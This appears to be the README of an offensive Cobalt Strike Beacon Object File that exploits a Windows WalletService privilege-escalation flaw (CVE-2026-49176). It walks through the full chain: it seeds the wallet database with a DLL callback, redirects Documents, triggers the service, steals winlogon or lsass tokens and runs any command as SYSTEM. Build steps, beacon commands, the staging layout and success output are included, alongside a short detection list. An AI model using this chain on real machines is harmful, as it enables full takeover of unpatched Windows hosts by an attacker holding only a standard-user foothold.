CVE-2026-49176 Cobalt Strike BOF

Cobalt Strike Beacon Object File (BOF) for local privilege escalation via Windows WalletService (CVE-2026-49176, fixed July 2026).

From a medium-integrity (standard user) Beacon, this tool stages a malicious Wallet ESE database, redirects Documents, triggers WalletService, and runs a caller-specified command line as NT AUTHORITY\SYSTEM on the interactive desktop.

BOF-only tree.
Original standalone PowerShell PoC: DavidCarliez/CVE-2026-49176_LPE_POC. Same vulnerability root cause; different delivery and post-SYSTEM process launch.

Disclaimer

For authorized security research, education, and defensive validation only.

Vulnerability (shared with original PoC)

WalletService resolves FOLDERID_Documents while impersonating the caller, then reverts to LocalSystem before opening:

<Documents>\Wallet\wallet.db

A standard user can seed that database with an ESE user-defined default callback (PATH\payload.dll!Export), point Documents at a controlled directory, and call WinRT WalletManager.RequestStoreAsync / GetItemsAsync so the service loads the DLL as SYSTEM.

Write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM

BOF vs original PoC — privilege-escalation path

Same: how SYSTEM code execution is obtained

Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Different: interactive SYSTEM process after the callback

WalletService often uses a filtered SYSTEM token (no usable SeAssignPrimaryToken / SeImpersonate). Direct CreateProcess* → 1314.

Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Features

• Single Beacon command for any command/file as SYSTEM on the active desktop
• Full chain in-process: stage → seed → redirect → trigger → wait → restore Documents
• Packs wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")
• Multi-strategy post-SYSTEM spawn + result.txt diagnostics
• x64 only

Requirements

Layout

bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Build

cd bof
build.bat

bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Edit VCVARS64 paths in build.bat if VS is non-default.
Critical flags: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (CS BOF linker safety).

Usage

Load

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Reload after every rebuild.)

Commands

beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt

• No outer quotes if the path has no spaces.
• Optional menu: Beacon → CVE-2026-49176 → Run command as SYSTEM...

Staging on target

%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Packing

bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Expected output

Task line

[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Success (illustrative)

[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= may be winlogon, services, lsass, or a broker path.

Common failures

Documents is restored even on failure when redirect succeeded.

Architecture

cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Detection surface

• Documents known-folder change
• %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + callback DLL
• WalletService loading user-writable DLL
• OpenProcess / token APIs against winlogon/lsass/services
• Short-lived services CVE49176_*
• CreateProcessAsUserW / CreateProcessWithTokenW into interactive sessions

Limitations

• x64 only; unpatched WalletService required
• Wallet WinRT API may be unavailable/deprecated on some builds
• Stage directory not auto-deleted
• ESE/WinRT run inside Beacon (crash risk vs process-isolated original PoC)

Related